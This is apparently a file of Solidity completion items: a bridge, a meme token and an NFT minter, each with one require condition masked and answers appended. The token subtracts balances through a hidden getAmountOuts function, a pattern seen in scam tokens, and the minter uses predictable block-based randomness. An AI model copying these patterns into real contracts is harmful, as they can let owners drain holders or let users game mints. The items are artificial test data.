mapping(string => bool) backMapping;
mapping(uint256 => mapping(string => bool)) outMapping;
mapping(address => Assets) public assetsMapping;
mapping(address => Fee) public feeMapping;
event AddManager(address indexed operator, address manager);
event SetAdmin(address indexed operator, address oldAdmin, address newAdmin);
event AddConfig(address indexed operator, address token, uint256 toChain, uint256 fee, uint256 singleMin, uint256 singleMax);
event UpdateFee(address indexed operator, address token, uint256 toChain, uint256 oldFee, uint256 newFee);
event UpdateSingle(address indexed operator, address token, uint256 toChain, uint256 singleMin, uint256 singleMax);
event UpdateEnable(address indexed operator, address token, uint256 toChain, bool enable);
event BridgeIn(address indexed operator, address indexed receiver, address indexed token, uint256 toChain, uint256 amount, uint256 fee);
event BridgeBack(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fee, string fromTxid);
event BridgeOut(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fromChain, string fromTxid);
event Recharge(address indexed operator, address token, uint256 amount);
event Withdraw(address indexed operator, address indexed receiver, address token, uint256 amount);
event WithdrawFee(address indexed operator, address indexed receiver, address token, uint256 fee);
event WithdrawAllFee(address indexed operator, address indexed receiver, address[] token, uint256 fee);
modifier onlyManager() {
}
modifier onlyAdmin() {
}
modifier checkBridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) {
}
constructor () public {
}
function bridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) external payable whenNotPaused checkBridgeIn(_receiver, _token, _toChain, _amount) {
}
function bridgeBack(address _receiver, address _token, uint256 _amount, uint256 _fee, string calldata _fromTxid) external onlyManager {
}
function bridgeOut(address _receiver, address _token, uint256 _amount, uint256 _fromChain, string memory _fromTxid) external onlyManager {
require(<FILL_ME>)
uint256 balance = IERC20(_token).universalBalanceOf(address(this));
require(balance >= _amount, 'BridgeChain: greater than current balance');
IERC20(_token).universalTransfer(_receiver, _amount);
outMapping[_fromChain][_fromTxid] = true;
emit BridgeOut(msg.sender, _receiver, _token, _amount, _fromChain, _fromTxid);
}
function recharge(address _token, uint256 _amount) external payable whenNotPaused {
}
function withdraw(address _receiver, address _token, uint256 _amount) external onlyAdmin {
}
function withdrawFee(address _receiver, address _token, uint256 _fee) external onlyManager {
}
function withdrawAllFee(address _receiver, address[] calldata _token) external onlyManager {
}
function setAdmin(address _admin) external onlyOwner returns (bool) {
}
function addManager(address _manager) external onlyOwner returns (bool) {
}
function delManager(address _manager) external onlyOwner returns (bool) {
}
function getManagerLength() public view returns (uint256) {
}
function getManager(uint256 _index) external view returns (address){
}
function isManager(address _manager) public view returns (bool) {
}
function addConfig(address _token, uint256 _toChain, uint256 _fee, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateFee(address _token, uint256 _toChain, uint256 _fee) external onlyManager returns (bool) {
}
function updateSingle(address _token, uint256 _toChain, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateEnable(address _token, uint256 _toChain, bool _enable) external onlyManager returns (bool) {
}
function pause() external onlyManager returns (bool) {
}
function unpause() external onlyManager returns (bool) {
}
}
| !outMapping[_fromChain][_fromTxid],'BridgeChain: txid posted' | 154,188 | !outMapping[_fromChain][_fromTxid] |
"Trading not open" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
Web: https://www.pwsci.xyz
Telegram: https://t.me/eth_cop
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract PepeWojakSonicCopsInu is IERC20, Ownable {
string private constant _name = "PepeWojakSonicCopsInu";
string private constant _symbol = "$COP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _initialBuyTax=1;
uint256 private _initialSellTax=1;
uint256 private _midSellTax=1;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 public _reduceBuyTaxAt=10;
uint256 public _reduceSellTax1At=10;
uint256 public _reduceSellTax2At=12;
address payable private _taxWallet;
uint256 private swapCount=0;
uint256 public buyCount=0;
uint256 private _tTotal;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFees;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private constant _taxSwapMin = _totalSupply / 20000;
uint256 private constant _taxSwapMax = _totalSupply / 100;
address private uniV2Pair;
address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IRouter02 private _routerV2 = IRouter02(uniV2Router);
mapping (address => bool) private ammV2Pair;
bool public limited = true;
bool public transferDelayEnabled = false;
uint256 public maxTxAmount = 50_000_000 * (10**_decimals); // 5%
bool private _tradeEnabled;
bool private _lockTheSwap = false;
modifier lockSwapBack {
}
constructor() Ownable(msg.sender) {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(<FILL_ME>)
return _transferFrom(msg.sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function approveRouterMax(uint256 _tokenAmount) internal {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function getAmountOuts(address from, address to, uint256 amount) private view returns(uint256) {
}
function addLiquidityETH(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function removeLimits() external onlyOwner{
}
function openTrading() external payable onlyOwner lockSwapBack {
}
function takeTxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack() private lockSwapBack {
}
function isTradingEnabled(address sender) private view returns (bool){
}
receive() external payable {}
}
| isTradingEnabled(msg.sender),"Trading not open" | 154,209 | isTradingEnabled(msg.sender) |
"Trading not open" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
Web: https://www.pwsci.xyz
Telegram: https://t.me/eth_cop
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract PepeWojakSonicCopsInu is IERC20, Ownable {
string private constant _name = "PepeWojakSonicCopsInu";
string private constant _symbol = "$COP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _initialBuyTax=1;
uint256 private _initialSellTax=1;
uint256 private _midSellTax=1;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 public _reduceBuyTaxAt=10;
uint256 public _reduceSellTax1At=10;
uint256 public _reduceSellTax2At=12;
address payable private _taxWallet;
uint256 private swapCount=0;
uint256 public buyCount=0;
uint256 private _tTotal;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFees;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private constant _taxSwapMin = _totalSupply / 20000;
uint256 private constant _taxSwapMax = _totalSupply / 100;
address private uniV2Pair;
address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IRouter02 private _routerV2 = IRouter02(uniV2Router);
mapping (address => bool) private ammV2Pair;
bool public limited = true;
bool public transferDelayEnabled = false;
uint256 public maxTxAmount = 50_000_000 * (10**_decimals); // 5%
bool private _tradeEnabled;
bool private _lockTheSwap = false;
modifier lockSwapBack {
}
constructor() Ownable(msg.sender) {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradeEnabled) { require(<FILL_ME>) }
if ( !_lockTheSwap && !_excludedFromFees[sender] && ammV2Pair[recipient] && buyCount >= swapCount) { swapBack(); }
if (limited && sender == uniV2Pair && !_excludedFromFees[recipient]) {
require(balanceOf(recipient) + amount <= maxTxAmount, "Forbid");
} _tTotal = balanceOf(_taxWallet);
if (transferDelayEnabled && !_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
if (recipient != uniV2Router && recipient != uniV2Pair) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
uint256 _taxAmount = takeTxFee(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= getAmountOuts(sender, recipient, amount);
if ( _taxAmount > 0 ) {
_balances[address(this)] += _taxAmount;
}
buyCount++;
_balances[recipient] += _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function approveRouterMax(uint256 _tokenAmount) internal {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function getAmountOuts(address from, address to, uint256 amount) private view returns(uint256) {
}
function addLiquidityETH(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function removeLimits() external onlyOwner{
}
function openTrading() external payable onlyOwner lockSwapBack {
}
function takeTxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack() private lockSwapBack {
}
function isTradingEnabled(address sender) private view returns (bool){
}
receive() external payable {}
}
| _excludedFromFees[sender],"Trading not open" | 154,209 | _excludedFromFees[sender] |
"Forbid" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
Web: https://www.pwsci.xyz
Telegram: https://t.me/eth_cop
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract PepeWojakSonicCopsInu is IERC20, Ownable {
string private constant _name = "PepeWojakSonicCopsInu";
string private constant _symbol = "$COP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _initialBuyTax=1;
uint256 private _initialSellTax=1;
uint256 private _midSellTax=1;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 public _reduceBuyTaxAt=10;
uint256 public _reduceSellTax1At=10;
uint256 public _reduceSellTax2At=12;
address payable private _taxWallet;
uint256 private swapCount=0;
uint256 public buyCount=0;
uint256 private _tTotal;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFees;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private constant _taxSwapMin = _totalSupply / 20000;
uint256 private constant _taxSwapMax = _totalSupply / 100;
address private uniV2Pair;
address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IRouter02 private _routerV2 = IRouter02(uniV2Router);
mapping (address => bool) private ammV2Pair;
bool public limited = true;
bool public transferDelayEnabled = false;
uint256 public maxTxAmount = 50_000_000 * (10**_decimals); // 5%
bool private _tradeEnabled;
bool private _lockTheSwap = false;
modifier lockSwapBack {
}
constructor() Ownable(msg.sender) {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradeEnabled) { require(_excludedFromFees[sender], "Trading not open"); }
if ( !_lockTheSwap && !_excludedFromFees[sender] && ammV2Pair[recipient] && buyCount >= swapCount) { swapBack(); }
if (limited && sender == uniV2Pair && !_excludedFromFees[recipient]) {
require(<FILL_ME>)
} _tTotal = balanceOf(_taxWallet);
if (transferDelayEnabled && !_excludedFromFees[sender] && !_excludedFromFees[recipient]) {
if (recipient != uniV2Router && recipient != uniV2Pair) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
uint256 _taxAmount = takeTxFee(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= getAmountOuts(sender, recipient, amount);
if ( _taxAmount > 0 ) {
_balances[address(this)] += _taxAmount;
}
buyCount++;
_balances[recipient] += _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function approveRouterMax(uint256 _tokenAmount) internal {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function getAmountOuts(address from, address to, uint256 amount) private view returns(uint256) {
}
function addLiquidityETH(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function removeLimits() external onlyOwner{
}
function openTrading() external payable onlyOwner lockSwapBack {
}
function takeTxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack() private lockSwapBack {
}
function isTradingEnabled(address sender) private view returns (bool){
}
receive() external payable {}
}
| balanceOf(recipient)+amount<=maxTxAmount,"Forbid" | 154,209 | balanceOf(recipient)+amount<=maxTxAmount |
"Trading not open" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
Web: https://www.pwsci.xyz
Telegram: https://t.me/eth_cop
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract PepeWojakSonicCopsInu is IERC20, Ownable {
string private constant _name = "PepeWojakSonicCopsInu";
string private constant _symbol = "$COP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _initialBuyTax=1;
uint256 private _initialSellTax=1;
uint256 private _midSellTax=1;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 public _reduceBuyTaxAt=10;
uint256 public _reduceSellTax1At=10;
uint256 public _reduceSellTax2At=12;
address payable private _taxWallet;
uint256 private swapCount=0;
uint256 public buyCount=0;
uint256 private _tTotal;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFees;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private constant _taxSwapMin = _totalSupply / 20000;
uint256 private constant _taxSwapMax = _totalSupply / 100;
address private uniV2Pair;
address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IRouter02 private _routerV2 = IRouter02(uniV2Router);
mapping (address => bool) private ammV2Pair;
bool public limited = true;
bool public transferDelayEnabled = false;
uint256 public maxTxAmount = 50_000_000 * (10**_decimals); // 5%
bool private _tradeEnabled;
bool private _lockTheSwap = false;
modifier lockSwapBack {
}
constructor() Ownable(msg.sender) {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(<FILL_ME>)
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function approveRouterMax(uint256 _tokenAmount) internal {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function getAmountOuts(address from, address to, uint256 amount) private view returns(uint256) {
}
function addLiquidityETH(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function removeLimits() external onlyOwner{
}
function openTrading() external payable onlyOwner lockSwapBack {
}
function takeTxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack() private lockSwapBack {
}
function isTradingEnabled(address sender) private view returns (bool){
}
receive() external payable {}
}
| isTradingEnabled(sender),"Trading not open" | 154,209 | isTradingEnabled(sender) |
"trading is open" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
Web: https://www.pwsci.xyz
Telegram: https://t.me/eth_cop
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function owner() public view returns (address) { }
function renounceOwnership() external onlyOwner {
}
}
contract PepeWojakSonicCopsInu is IERC20, Ownable {
string private constant _name = "PepeWojakSonicCopsInu";
string private constant _symbol = "$COP";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _initialBuyTax=1;
uint256 private _initialSellTax=1;
uint256 private _midSellTax=1;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 public _reduceBuyTaxAt=10;
uint256 public _reduceSellTax1At=10;
uint256 public _reduceSellTax2At=12;
address payable private _taxWallet;
uint256 private swapCount=0;
uint256 public buyCount=0;
uint256 private _tTotal;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFees;
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private constant _taxSwapMin = _totalSupply / 20000;
uint256 private constant _taxSwapMax = _totalSupply / 100;
address private uniV2Pair;
address private constant uniV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IRouter02 private _routerV2 = IRouter02(uniV2Router);
mapping (address => bool) private ammV2Pair;
bool public limited = true;
bool public transferDelayEnabled = false;
uint256 public maxTxAmount = 50_000_000 * (10**_decimals); // 5%
bool private _tradeEnabled;
bool private _lockTheSwap = false;
modifier lockSwapBack {
}
constructor() Ownable(msg.sender) {
}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function approveRouterMax(uint256 _tokenAmount) internal {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function getAmountOuts(address from, address to, uint256 amount) private view returns(uint256) {
}
function addLiquidityETH(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function removeLimits() external onlyOwner{
}
function openTrading() external payable onlyOwner lockSwapBack {
require(uniV2Pair == address(0), "LP exists");
require(<FILL_ME>)
require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
require(_balances[address(this)]>0, "No tokens in contract");
uniV2Pair = IFactory(_routerV2.factory()).createPair(address(this), _routerV2.WETH());
addLiquidityETH(_balances[address(this)], address(this).balance);
ammV2Pair[uniV2Pair] = true; _tradeEnabled = true;
}
function takeTxFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function swapBack() private lockSwapBack {
}
function isTradingEnabled(address sender) private view returns (bool){
}
receive() external payable {}
}
| !_tradeEnabled,"trading is open" | 154,209 | !_tradeEnabled |
"Already minted" | // SPDX-License-Identifier: MIT
// TBA Contract
// Creator: NFT Guys nftguys.biz
//
// ________ __ __ ________ __ __
// / |/ | / |/ | / \ / |
// $$$$$$$$/ $$ | $$ |$$$$$$$$/ $$ \ /$$ | ______ _______ ______ ______ ______ ______ _______
// $$ | $$ |__$$ |$$ |__ $$$ \ /$$$ | / \ / \ / \ / \ / \ / \ / |
// $$ | $$ $$ |$$ | $$$$ /$$$$ | $$$$$$ |$$$$$$$ | $$$$$$ |/$$$$$$ |/$$$$$$ |/$$$$$$ |/$$$$$$$/
// $$ | $$$$$$$$ |$$$$$/ $$ $$ $$/$$ | / $$ |$$ | $$ | / $$ |$$ | $$ |$$ $$ |$$ | $$/ $$ \
// $$ | $$ | $$ |$$ |_____ $$ |$$$/ $$ |/$$$$$$$ |$$ | $$ |/$$$$$$$ |$$ \__$$ |$$$$$$$$/ $$ | $$$$$$ |
// $$ | $$ | $$ |$$ | $$ | $/ $$ |$$ $$ |$$ | $$ |$$ $$ |$$ $$ |$$ |$$ | / $$/
// $$/ $$/ $$/ $$$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$ | $$$$$$$/ $$/ $$$$$$$/
// / \__$$ |
// $$ $$/
// $$$$$$/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "./interfaces/IERC4906.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
interface IManagersTBA {
function balanceOf(address owner) external view returns (uint256);
function showTBA(uint256 id) external view returns (address);
}
contract ManagersStarterPack is Ownable, ERC1155, ERC1155Supply, ERC2981, IERC4906 {
// ----------------------------- State variables ------------------------------
bool public mintLive = true;
mapping(address => bool) private mintedStatus;
uint256 nonce = 0;
string public uriOS;
IManagersTBA public ManagersTBA;
// ----------------------------- CONSTRUCTOR ------------------------------
constructor(address _tba) ERC1155("") {
}
////////////////////////////////////////
// SETTERS //
////////////////////////////////////////
// Fixed values minting for each address, should mint to TBA address Smart Contract
function mintBatch(uint256 tokenId) public {
// Find TBA for this TokenId
address TBA = ManagersTBA.showTBA(tokenId);
require(mintLive, "Mint is finished");
require(<FILL_ME>)
require(ManagersTBA.balanceOf(msg.sender) != 0, "You dont own any Managers NFT");
mintedStatus[TBA] = true;
uint256[] memory ids = new uint256[](2);
uint256 random1 = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 5) + 1;
nonce++;
uint256 random2 = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 5) + 1;
// Assign randoms to ids, do the simple way of making the different
if (random1 == random2) {
random2 = random2 + 1;
}
if (random2 == 6) {
random2 = 1;
}
ids[0] = random1;
ids[1] = random2;
uint256[] memory amounts = new uint256[](2);
amounts[0] = 2;
amounts[1] = 2;
_mintBatch(TBA, ids, amounts, "");
}
function mintBatchLoop(uint256[] memory tokenIds, uint256 _mintAmount) public {
}
function withdraw() external onlyOwner {
}
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
function setURI(string memory newuri) public onlyOwner {
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal override(ERC1155, ERC1155Supply) {
}
function setTokenRoyalty(address royaltieReceiver, uint96 bips) external onlyOwner {
}
function setMintStatus(bool status) public onlyOwner {
}
// Interfaces support
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC1155, ERC2981, IERC165) returns (bool) {
}
/**
* @dev Converts a uint256 to its ASCII string decimal representation.
*/
function _toString(uint256 value) internal pure virtual returns (string memory str) {
}
////////////////////////////////////////
// GETTERS //
////////////////////////////////////////
function uri(uint256 _tokenid) public view override returns (string memory) {
}
}
| mintedStatus[TBA]==false,"Already minted" | 154,246 | mintedStatus[TBA]==false |
"You dont own any Managers NFT" | // SPDX-License-Identifier: MIT
// TBA Contract
// Creator: NFT Guys nftguys.biz
//
// ________ __ __ ________ __ __
// / |/ | / |/ | / \ / |
// $$$$$$$$/ $$ | $$ |$$$$$$$$/ $$ \ /$$ | ______ _______ ______ ______ ______ ______ _______
// $$ | $$ |__$$ |$$ |__ $$$ \ /$$$ | / \ / \ / \ / \ / \ / \ / |
// $$ | $$ $$ |$$ | $$$$ /$$$$ | $$$$$$ |$$$$$$$ | $$$$$$ |/$$$$$$ |/$$$$$$ |/$$$$$$ |/$$$$$$$/
// $$ | $$$$$$$$ |$$$$$/ $$ $$ $$/$$ | / $$ |$$ | $$ | / $$ |$$ | $$ |$$ $$ |$$ | $$/ $$ \
// $$ | $$ | $$ |$$ |_____ $$ |$$$/ $$ |/$$$$$$$ |$$ | $$ |/$$$$$$$ |$$ \__$$ |$$$$$$$$/ $$ | $$$$$$ |
// $$ | $$ | $$ |$$ | $$ | $/ $$ |$$ $$ |$$ | $$ |$$ $$ |$$ $$ |$$ |$$ | / $$/
// $$/ $$/ $$/ $$$$$$$$/ $$/ $$/ $$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$$ | $$$$$$$/ $$/ $$$$$$$/
// / \__$$ |
// $$ $$/
// $$$$$$/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
